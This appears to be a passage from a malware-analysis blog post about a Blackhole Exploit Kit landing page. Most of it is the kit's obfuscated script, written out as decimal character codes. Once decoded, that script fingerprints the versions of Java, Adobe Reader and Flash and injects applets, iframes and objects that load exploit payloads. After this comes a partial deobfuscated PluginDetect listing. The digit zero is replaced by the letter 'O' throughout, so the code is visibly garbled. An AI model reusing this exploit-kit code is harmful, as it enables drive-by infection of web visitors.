1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,48,59,98,61,1OO,46,1O3,1O1,116,77,1O5,1O9,1O1,69,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,4O,1O3,46,1O9,1O5,1O9,1O1,84,121,112,1O1,44,97,41,59,1O5,1O2,4O,33,1O6,41,123,11O,61,98,125,1O5,1O2,4O,33,98,38,38,1OO,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O3,46,1O9,1O5,1O9,1O1,84,121,112,1O1,41,41,123,98,61,1OO,46,1O2,1O5,11O,1OO,78,97,118,8O,1O8,117,1O3,1O5,11O,4O,97,44,48,41,125,1O5,1O2,4O,98,41,123,1O3,46,11O,97,118,8O,1O8,117,1O3,1O5,11O,79,98,1O6,61,98,59,1O4,61,1OO,46,1O3,1O1,116,78,117,1O9,4O,98,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,124,124,1OO,46,1O3,1O1,116,78,117,1O9,4O,98,46,11O,97,1O9,1O1,41,59,1O4,61,1OO,46,1O3,1O1,116,8O,1O8,117,1O3,1O5,11O,7O,1O5,1O8,1O1,86,1O1,114,115,1O5,111,11O,4O,98,44,1O4,41,59,1O5,1O2,4O,33,1O4,38,38,1OO,46,79,83,61,61,49,41,123,1O5,1O2,4O,1O3,46,112,1O8,117,1O3,1O5,11O,72,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,98,44,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,118,11O,1OO,46,97,1OO,111,98,1O1,46,112,1OO,1O2,12O,1O9,1O8,34,44,97,41,41,123,1O4,61,34,57,34,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,1O3,46,112,1O8,117,1O3,1O5,11O,72,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,98,44,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,118,11O,1OO,46,97,1OO,111,98,1O1,46,12O,45,1O9,97,114,115,34,44,97,41,41,123,1O4,61,34,56,34,125,125,125,125,125,1O1,1O8,115,1O1,123,1O4,61,1O3,46,118,1O1,114,115,1O5,111,11O,125,1O5,1O2,4O,33,1OO,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,11O,41,41,123,11O,61,1OO,46,1O3,1O1,116,77,1O5,1O9,1O1,69,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,4O,1O7,44,97,41,125,1O3,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,11O,38,38,1O4,63,49,58,4O,11O,63,48,58,4O,1O3,46,11O,97,118,8O,1O8,117,1O3,1O5,11O,79,98,1O6,63,45,48,46,5O,58,45,49,41,41,125,1O1,1O8,115,1O1,123,98,61,1OO,46,1O3,1O1,116,65,88,79,4O,1O3,46,112,114,111,1O3,73,68,91,48,93,41,124,124,1OO,46,1O3,1O1,116,65,88,79,4O,1O3,46,112,114,111,1O3,73,68,91,49,93,41,59,99,61,47,61,92,115,42,4O,91,92,1OO,92,46,93,43,41,47,1O3,59,116,114,121,123,1O2,61,4O,98,124,124,1OO,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1OO,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,99,1O8,97,115,115,1O5,1OO,34,44,1O3,46,99,1O8,97,115,115,73,68,93,44,91,34,115,114,99,34,44,34,34,93,44,34,34,44,1O3,41,41,41,46,71,1O1,116,86,1O1,114,115,1O5,111,11O,115,4O,41,59,1O2,111,114,4O,1O9,61,48,59,1O9,6O,53,59,1O9,43,43,41,123,1O5,1O2,4O,99,46,116,1O1,115,116,4O,1O2,41,38,38,4O,33,1O4,124,124,1O4,6O,82,1O1,1O3,69,12O,112,46,36,49,41,41,123,1O4,61,82,1O1,1O3,69,12O,112,46,36,49,125,125,125,99,97,116,99,1O4,4O,1O5,41,123,125,1O3,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,1O4,63,49,58,4O,98,63,48,58,45,49,41,125,1O5,1O2,4O,33,1O3,46,118,1O1,114,115,1O5,111,11O,41,123,1O3,46,118,1O1,114,115,1O5,111,11O,61,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O4,41,125,1O3,46,73,78,83,84,65,76,76,69,68,91,1O7,93,61,1O3,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,125,125,44,122,122,58,48,125,125,59,112,1OO,112,1OO,46,1O5,11O,1O5,116,83,99,114,1O5,112,116,4O,41,59,112,1OO,112,1OO,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,34,46,34,41,59,118,97,114,32,36,36,32,61,32,112,1OO,112,1OO,59,1O2,117,11O,99,116,1O5,111,11O,32,12O,4O,115,41,123,1OO,61,91,93,59,1O2,111,114,4O,1O5,61,48,59,1O5,6O,115,46,1O8,1O1,11O,1O3,116,1O4,59,1O5,43,43,41,123,1O7,61,4O,115,46,99,1O4,97,114,67,111,1OO,1O1,65,116,4O,1O5,41,41,46,116,111,83,116,114,1O5,11O,1O3,4O,51,51,41,59,1OO,46,112,117,115,1O4,4O,1O7,41,59,125,59,114,1O1,116,117,114,11O,32,1OO,46,1O6,111,1O5,11O,4O,34,58,34,41,59,125,1O1,11O,1OO,95,114,1O1,1OO,1O5,114,1O1,99,116,61,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,125,59,1O2,117,11O,99,116,1O5,111,11O,32,1O6,49,4O,41,123,1O5,1O2,4O,4O,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,99,1O8,1O5,1O1,11O,116,87,1O5,1OO,116,1O4,124,124,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,111,1O2,1O2,115,1O1,116,87,1O5,1OO,116,1O4,41,6O,51,48,41,32,123,118,97,114,32,111,83,112,97,11O,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1OO,1O5,118,34,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,111,83,112,97,11O,41,59,111,83,112,97,11O,46,1O5,11O,11O,1O1,114,72,84,77,76,61,34,6O,97,112,112,1O8,1O1,116,32,97,114,99,1O4,1O5,118,1O1,61,92,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,121,114,1O6,116,99,114,12O,61,98,97,1O7,98,99,118,1OO,117,38,116,112,114,1O1,61,98,1O3,1O8,92,34,32,99,111,1OO,1O1,61,92,34,38,35,48,48,49,48,52,59,38,35,48,48,49,49,57,59,92,34,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,92,34,38,35,48,48,49,49,5O,59,114,1O5,1O9,1O1,92,34,32,118,97,1O8,117,1O1,61,92,34,119,54,1O4,54,119,8O,52,119,52,76,1O6,1O4,66,86,86,1O4,86,1O4,86,37,1O2,52,77,99,66,63,114,86,99,1O4,49,52,54,99,77,63,49,52,99,76,1O2,99,37,1O6,1O4,66,86,86,1O4,86,1O4,86,37,1O2,52,77,99,66,63,114,86,99,1O4,49,52,54,99,77,63,49,52,99,76,1O2,99,37,1O6,7O,119,51,68,51,12O,67,46,98,54,68,79,54,113,79,54,56,79,49,1O2,79,54,67,82,83,1O1,98,54,65,79,54,111,79,49,1O4,79,49,49,79,54,111,79,54,111,79,54,111,79,1O4,118,79,49,54,79,54,116,82,37,98,54,46,82,118,75,98,1O7,82,63,1O7,98,113,92,34,32,47,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,92,34,118,97,38,35,48,48,49,48,56,59,92,34,32,118,97,1O8,117,1O1,61,92,34,68,121,121,51,79,1O6,1O6,54,1O4,99,92,34,47,62,6O,47,97,112,112,1O8,1O1,116,62,34,59,125,114,1O1,116,117,114,11O,32,116,114,117,1O1,59,125,1O2,117,11O,99,116,1O5,111,11O,32,1O6,5O,4O,41,123,1O5,1O2,4O,4O,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,99,1O8,1O5,1O1,11O,116,87,1O5,1OO,116,1O4,124,124,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,111,1O2,1O2,115,1O1,116,87,1O5,1OO,116,1O4,41,6O,51,48,41,32,123,118,97,114,32,111,83,112,97,11O,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1OO,1O5,118,34,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,111,83,112,97,11O,41,59,111,83,112,97,11O,46,1O5,11O,11O,1O1,114,72,84,77,76,61,34,6O,97,112,112,1O8,1O1,116,32,97,114,99,1O4,1O5,118,1O1,61,92,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,11O,12O,112,1O2,116,61,117,115,116,1O1,121,115,38,11O,97,1O6,61,117,111,1O1,1O9,98,111,92,34,32,99,111,1OO,1O1,61,92,34,38,35,48,48,49,48,52,59,38,35,48,48,49,49,57,59,92,34,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,92,34,112,38,35,48,48,49,49,52,59,1O5,1O9,1O1,92,34,32,118,97,1O8,117,1O1,61,92,34,119,54,1O4,54,119,8O,52,119,52,76,1O6,1O4,66,86,86,1O4,86,1O4,86,37,1O2,52,77,99,66,63,114,86,99,1O4,49,52,54,99,77,63,49,52,99,76,1O2,99,37,1O6,1O4,66,86,86,1O4,86,1O4,86,37,1O2,52,77,99,66,63,114,86,99,1O4,49,52,54,99,77,63,49,52,99,76,1O2,99,37,1O6,7O,119,51,68,51,12O,67,46,98,54,68,79,54,113,79,54,56,79,49,1O2,79,54,67,82,83,1O1,98,54,65,79,54,111,79,49,1O4,79,49,49,79,54,111,79,54,111,79,54,111,79,1O4,118,79,49,54,79,54,116,82,37,98,54,46,82,118,75,98,1O7,82,63,1O7,98,113,92,34,32,47,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,92,34,118,38,35,48,48,57,55,59,1O8,92,34,32,118,97,1O8,117,1O1,61,92,34,68,121,121,51,79,1O6,1O6,54,1O4,99,92,34,47,62,6O,47,97,112,112,1O8,1O1,116,62,34,59,125,114,1O1,116,117,114,11O,32,116,114,117,1O1,59,125,1O2,117,11O,99,116,1O5,111,11O,32,112,49,4O,41,123,118,97,114,32,1OO,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1O5,1O2,114,97,1O9,1O1,34,41,59,1OO,46,115,1O1,116,65,116,116,114,1O5,98,117,116,1O1,4O,34,115,114,99,34,44,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,97,1O2,1O8,122,61,34,43,12O,4O,34,5O,53,51,99,52,34,41,43,34,38,97,112,1O7,113,1OO,1O2,113,12O,61,34,43,12O,4O,34,1O8,1O5,121,34,41,43,34,38,122,1O1,113,1O8,1O8,118,1O8,1O7,61,49,1O3,58,49,11O,58,51,5O,58,51,51,58,49,11O,58,49,11O,58,49,11O,58,5O,118,58,51,49,58,49,111,38,122,1O7,1O7,1O5,1O8,97,113,61,34,43,12O,4O,112,1OO,1O2,118,1O1,114,46,1O6,111,1O5,11O,4O,34,46,34,41,41,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,1OO,41,59,125,1O2,117,11O,99,116,1O5,111,11O,32,112,5O,4O,41,123,118,97,114,32,1OO,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1O5,1O2,114,97,1O9,1O1,34,41,59,1OO,46,115,1O1,116,65,116,116,114,1O5,98,117,116,1O1,4O,34,115,114,99,34,44,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,112,1O2,1O2,119,12O,119,1O9,61,34,43,12O,4O,34,5O,53,51,99,52,34,41,43,34,38,114,1O9,117,99,61,34,43,12O,4O,34,114,34,41,43,34,38,1O6,12O,119,116,1O6,61,49,1O3,58,49,11O,58,51,5O,58,51,51,58,49,11O,58,49,11O,58,49,11O,58,5O,118,58,51,49,58,49,111,38,113,12O,97,1O9,61,34,43,12O,4O,112,1OO,1O2,118,1O1,114,46,1O6,111,1O5,11O,4O,34,46,34,41,41,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,1OO,41,59,125,1O2,117,11O,99,116,1O5,111,11O,32,112,51,4O,41,123,114,1O1,116,117,114,11O,32,1O2,97,1O8,115,1O1,59,125,1O2,117,11O,99,116,1O5,111,11O,32,1O2,49,4O,41,123,118,97,114,32,111,83,112,97,11O,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,115,112,97,11O,34,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,111,83,112,97,11O,41,59,118,97,114,32,117,114,1O8,32,61,32,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,12O,118,114,1O1,61,34,43,12O,4O,34,5O,53,51,99,52,34,41,43,34,38,119,1O6,116,121,122,61,34,43,12O,4O,34,1O8,1OO,12O,97,121,1O3,34,41,43,34,38,98,98,122,119,61,49,1O3,58,49,11O,58,51,5O,58,51,51,58,49,11O,58,49,11O,58,49,11O,58,5O,118,58,51,49,58,49,111,38,1O5,11O,1O2,111,61,48,5O,1O1,54,98,49,53,5O,53,51,53,51,99,97,97,56,97,1OO,52,1OO,52,1O1,99,56,97,1O1,52,57,52,1O1,52,56,97,1O1,52,57,52,57,97,1O2,52,57,52,1O2,97,98,52,1OO,52,56,51,53,51,54,52,1O1,55,56,98,56,49,1O1,55,57,97,57,54,1O1,51,49,56,57,53,1O1,1O2,49,51,1O1,51,49,53,57,49,57,5O,57,51,57,98,49,1O1,1O1,53,1O1,49,57,5O,57,51,49,54,57,55,57,98,49,49,1O1,98,56,55,48,55,48,56,1O2,55,48,52,56,55,48,57,54,54,57,98,49,48,56,49,55,55,55,55,98,56,57,56,52,54,48,49,1O1,34,59,111,83,112,97,11O,46,1O5,11O,11O,1O1,114,72,84,77,76,61,34,6O,111,98,1O6,1O1,99,116,32,99,1O8,97,115,115,1O5,1OO,61,39,99,1O8,115,1O5,1OO,58,68,5O,55,67,68,66,54,69,45,65,69,54,68,45,49,49,99,1O2,45,57,54,66,56,45,52,52,52,53,53,51,53,52,48,48,48,48,39,32,1O5,1OO,61,39,97,115,1OO,39,32,119,1O5,1OO,116,1O4,61,39,54,48,48,39,32,1O4,1O1,1O5,1O3,1O4,116,61,39,52,48,48,39,32,99,111,1OO,1O1,98,97,115,1O1,61,39,1O4,116,116,112,58,47,47,1OO,111,119,11O,1O8,111,97,1OO,46,1O9,97,99,114,111,1O9,1O1,1OO,1O5,97,46,99,111,1O9,47,112,117,98,47,115,1O4,111,99,1O7,119,97,118,1O1,47,99,97,98,115,47,1O2,1O8,97,115,1O4,47,115,119,1O2,1O8,97,115,1O4,46,99,97,98,39,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,39,1O9,111,118,1O5,1O1,39,32,118,97,1O8,117,1O1,61,39,34,43,117,114,1O8,43,34,39,32,47,62,6O,1O1,1O9,98,1O1,1OO,32,115,114,99,61,39,34,43,117,114,1O8,43,34,39,32,11O,97,1O9,1O1,61,39,97,115,1OO,39,32,97,1O8,1O5,1O3,11O,61,39,1O9,1O5,1OO,1OO,1O8,1O1,39,32,97,1O8,1O8,111,119,78,1O1,116,119,111,114,1O7,1O5,11O,1O3,61,39,97,1O8,1O8,39,32,116,121,112,1O1,61,39,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,12O,45,115,1O4,111,99,1O7,119,97,118,1O1,45,1O2,1O8,97,115,1O4,39,32,112,1O8,117,1O3,1O5,11O,115,112,97,1O3,1O1,61,39,1O4,116,116,112,58,47,47,119,119,119,46,1O9,97,99,114,111,1O9,1O1,1OO,1O5,97,46,99,111,1O9,47,1O3,111,47,1O3,1O1,116,1O2,1O8,97,115,1O4,112,1O8,97,121,1O1,114,39,62,6O,47,1O1,1O9,98,1O1,1OO,62,6O,47,111,98,1O6,1O1,99,116,62,34,59,125,1O2,117,11O,99,116,1O5,111,11O,32,1O2,1O2,5O,4O,41,123,114,1O1,116,117,114,11O,32,1O2,97,1O8,115,1O1,59,125,1OO,111,99,117,1O9,1O1,11O,116,46,119,114,1O5,116,1O1,4O,39,39,41,59,115,1O1,116,84,1O5,1O9,1O1,111,117,116,4O,1O1,11O,1OO,95,114,1O1,1OO,1O5,114,1O1,99,116,44,54,49,48,48,48,41,59,118,97,114,32,112,1OO,1O2,118,1O1,114,61,91,93,59,1O2,117,11O,99,116,1O5,111,11O,32,115,118,119,114,98,1O1,119,54,52,51,54,98,4O,36,41,123,118,97,114,32,97,114,32,61,32,91,93,59,118,97,114,32,1O6,97,118,97,12O,32,61,32,4O,36,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,34,74,97,34,43,34,118,97,34,41,43,34,46,34,41,46,116,111,83,116,114,1O5,11O,1O3,4O,41,91,34,115,112,1O8,1O5,116,34,93,4O,34,46,34,41,59,1O5,1O2,32,4O,36,46,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,4O,34,74,97,34,43,34,118,97,34,41,62,61,48,38,38,4O,4O,1O6,97,118,97,12O,91,48,93,61,61,49,38,38,1O6,97,118,97,12O,91,49,93,61,61,55,38,38,1O6,97,118,97,12O,91,51,93,6O,57,41,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,1O6,5O,41,59,125,32,1O1,1O8,115,1O1,32,1O5,1O2,4O,36,46,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,4O,34,74,97,34,43,34,118,97,34,41,62,61,48,38,38,4O,4O,1O6,97,118,97,12O,91,48,93,61,61,49,38,38,1O6,97,118,97,12O,91,49,93,61,61,54,38,38,1O6,97,118,97,12O,91,51,93,6O,51,51,41,124,124,4O,1O6,97,118,97,12O,91,48,93,61,61,49,38,38,1O6,97,118,97,12O,91,49,93,6O,54,41,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,1O6,49,41,59,125,112,1OO,1O2,118,1O1,114,61,112,1OO,112,1OO,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,34,65,1OO,111,98,1O1,82,1O1,97,1OO,1O1,114,34,41,59,1O5,1O2,4O,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,41,1O5,1O2,4O,116,121,112,1O1,111,1O2,32,112,1OO,1O2,118,1O1,114,61,61,34,115,116,114,1O5,11O,1O3,34,41,123,112,1OO,1O2,118,1O1,114,61,112,1OO,1O2,118,1O1,114,91,34,115,112,1O8,1O5,116,34,93,4O,34,46,34,41,125,1O1,1O8,115,1O1,123,112,1OO,1O2,118,1O1,114,61,91,48,44,48,44,48,44,48,93,125,1O5,1O2,4O,112,1OO,1O2,118,1O1,114,91,48,93,62,48,38,38,112,1OO,1O2,118,1O1,114,91,48,93,6O,56,41,123,1O5,1O2,4O,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,41,97,114,91,34,112,117,115,1O4,34,93,4O,112,49,41,59,125,1O5,1O2,32,4O,4O,4O,112,1OO,1O2,118,1O1,114,91,48,93,61,61,57,41,38,38,4O,112,1OO,1O2,118,1O1,114,91,49,93,62,61,51,41,41,124,124,4O,4O,112,1OO,1O2,118,1O1,114,91,48,93,61,61,49,48,41,38,38,4O,112,1OO,1O2,118,1O1,114,91,49,93,6O,49,48,51,41,41,41,32,123,97,114,91,34,112,117,115,1O4,34,93,4O,112,51,41,59,125,32,1O1,1O8,115,1O1,32,123,1O5,1O2,4O,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,38,38,4O,112,1OO,1O2,118,1O1,114,91,48,93,61,61,56,124,124,4O,112,1OO,1O2,118,1O1,114,91,48,93,61,61,57,38,38,112,1OO,1O2,118,1O1,114,91,49,93,6O,52,41,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,112,5O,41,59,125,125,118,97,114,32,118,1O1,114,32,61,32,4O,36,36,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,34,7O,1O8,97,115,1O4,34,41,43,34,46,34,41,46,116,111,83,116,114,1O5,11O,1O3,4O,41,91,34,115,112,1O8,1O5,116,34,93,4O,34,46,34,41,59,1O5,1O2,32,4O,4O,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,61,61,48,38,38,118,1O1,114,91,5O,93,62,52,48,41,124,124,4O,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,38,38,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,62,48,41,38,38,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,6O,5O,41,41,41,124,124,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,38,38,4O,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,61,61,5O,38,38,118,1O1,114,91,5O,93,6O,49,53,57,41,124,124,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,6O,5O,41,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,1O2,1O2,5O,41,59,125,1O5,1O2,4O,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,61,61,51,38,38,118,1O1,114,91,5O,93,61,61,49,56,49,38,38,118,1O1,114,91,51,93,6O,61,5O,51,41,124,124,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,61,61,51,38,38,118,1O1,114,91,5O,93,6O,49,56,49,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,1O2,49,41,59,125,118,97,114,32,97,114,99,97,1O8,1O8,1O5,61,48,59,118,97,114,32,97,114,99,97,1O8,1O8,32,61,32,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,1O5,1O2,4O,97,114,46,1O8,1O1,11O,1O3,116,1O4,6O,61,97,114,99,97,1O8,1O8,1O5,41,114,1O1,116,117,114,11O,32,49,5O,51,59,115,115,61,115,1O1,116,84,1O5,1O9,1O1,111,117,116,59,118,97,114,32,114,1O1,115,61,97,114,91,97,114,99,97,1O8,1O8,1O5,93,4O,41,59,97,114,99,97,1O8,1O8,1O5,43,43,59,1O5,1O2,4O,114,1O1,115,38,38,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,41,123,115,115,4O,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,97,114,99,97,1O8,1O8,4O,41,125,44,53,53,48,57,41,59,125,1O1,1O8,115,1O1,123,97,114,99,97,1O8,1O8,4O,41,59,125,125,59,97,114,99,97,1O8,1O8,4O,41,59,125,36,36,91,34,111,11O,68,1O1,116,1O1,99,34,43,34,116,1O5,111,11O,68,111,11O,1O1,34,93,4O,34,74,97,34,43,34,118,97,34,44,32,115,118,119,114,98,1O1,119,54,52,51,54,98,44,32,34,46,46,47,1OO,97,116,97,47,1O3,1O1,116,74,97,118,97,73,11O,1O2,111,46,1O6,97,114,34,41,59];</script><script language="javascript">
c();
z=asvxzc=e;
if(window.document)csq();
  </script></body>

Yepp; the same we see a lot these days. BHEK plugin detect. Mainly a bunch of txt/chars represented with decimal numbers.

2. we need to deobfuscate the script

Deobfuscation can be done with many tools but I usually try WepaWet first. And that did the trick:

xpdpd = {
  version : "O.7.9", name : "pdpd", handler : function (c, b, a){
    return function (){
      c(b, a)
    }
  }
  , openTag : "<", isDefined : function (b){
    return typeof b != "undefined"
  }
  , isArray : function (b){
    return (/array/i).test(Object.prototype.toString.call(b))
  }
  , isFunc : function (b){
    return typeof b == "function"
  }
  , isString : function (b){
    return typeof b == "string"
  }
  , isNum : function (b){
    return typeof b == "number"
  }
  , isStrNum : function (b){
    return (typeof b == "string" && (/\d/).test(b))
  }
  , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum : 
  function (b, c){
    var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
    exec(b) : null;
    return a ? a[O] : null
  }
  , compareNums : function (h, f, d){
    var e = this , c, b, a, g = parseInt;
    if (e.isStrNum(h) && e.isStrNum(f)){
      if (e.isDefined(d) && d.compareNums){
        return d.compareNums(h, f)
      }
      c = h.split(e.splitNumRegx);
      b = f.split(e.splitNumRegx);
      for (a = O; a < Math.min(c.length, b.length);
      a ++ ){
        if (g(c[a], 1O) > g(b[a], 1O)){
          return 1
        }
        if (g(c[a], 1O) < g(b[a], 1O)){
          return  - 1
        }
      }
    }
    return O
  }
  , formatNum : function (b, c){
    var d = this , a, e;
    if (!d.isStrNum(b)){
      return null
    }
    if (!d.isNum(c)){
      c = 4
    }
    c--;
    e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["O", "O", "O", "O"]);
    for (a = O; a < 4; a ++ ){
      if (/^(O+)(.+)$/.test(e[a])){
        e[a] = RegExp.$2
      }
      if (a > c ||! (/\d/).test(e[a])){
        e[a] = "O"
      }
    }
    return e.slice(O, 4).join(",")
  }
  , $$hasMimeType : function (a){
    return function (c){
      if (!a.isIE && c){
        var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
        for (b = O; b < d.length; b ++ ){
          if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
            f = navigator.mimeTypes[d[b]];
            e = f ? f.enabledPlugin : O;
            if (e && (e.name || e.description)){
              return f
            }
          }
        }
      }
      return null
    }
  }
  , findNavPlugin : function (l, e, c){
    var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: O, k = c ? 
    new RegExp(c, "i") : O, a = navigator.plugins, g = "", f, b, m;
    for (f = O; f < a.length; f ++ ){
      m = a[f].description || g;
      b = a[f].name || g;
      if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
      test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
        if (!k ||! (k.test(m) || k.test(b))){
          return a[f]
        }
      }
    }
    return null
  }
  , getMimeEnabledPlugin : function (k, m, c){
    var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : O, a, l
    , d, j = e.isString(k) ? [k] : k;
    for (d = O; d < j.length; d ++ ){
      if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
        l = f.description || h;
        a = f.name || h;
        if (b.test(l) || b.test(a)){
          if (!g ||! (g.test(l) || g.test(a))){
            return f
          }
        }
      }
    }
    return O
  }
  , getPluginFileVersion : function (f, b){
    var h = this , e, d, g, a, c =- 1;
    if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
      return b
    }
    if (!b){
      return e
    }
    e = h.formatNum(e);
    b = h.formatNum(b);
    d = b.split(h.splitNumRegx);
    g = e.split(h.splitNumRegx);
    for (a = O; a < d.length; a ++ ){
      if ( - 1 < c && c < a &&! (d[a] == "O")){
        return b
      }
      if (g[a] != d[a]){
        if (c ==- 1){
          c = a
        }
        if (d[a] != "O"){
          return b
        }
      }
    }
    return e
  }
  , AXO : window.ActiveXObject, getAXO : function (a){
    var f = null, d, b = this , c = {
    }
    ;
    try {
      f = new b.AXO(a)
    }
    catch (d){
    }
    return f
  }
  , convertFuncs : function (f){
    var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
    for (ain f){
      if (b.test(a)){
        try {
          g = a.slice(2);
          if (g.length > O &&! f[g]){
            f[g] = f[a](f);
            deletef[a]
          }
        }
        catch (d){
        }
      }
    }
  }
  , initObj : function (e, b, d){
    var a, c;
    if (e){
      if (e[b[O]] == 1 || d){
        for (a = O; a < b.length; a = a + 2){
          e[b[a]] = b[a + 1]
        }
      }
      for (ain e){
        c = e[a];
        if (c && c[b[O]] == 1){
          this .initObj(c, b)
        }
      }
    }
  }
  , initScript : function (){
    var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor || 
    "", b = a.platform || "", k = a.product || "";
    d.initObj(d, ["$", d]);
    for (hin d.Plugins){
      if (d.Plugins[h]){
        d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
      }
    }
    d.convertFuncs(d);
    d.OS = 1OO;
    if (b){
      var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, 
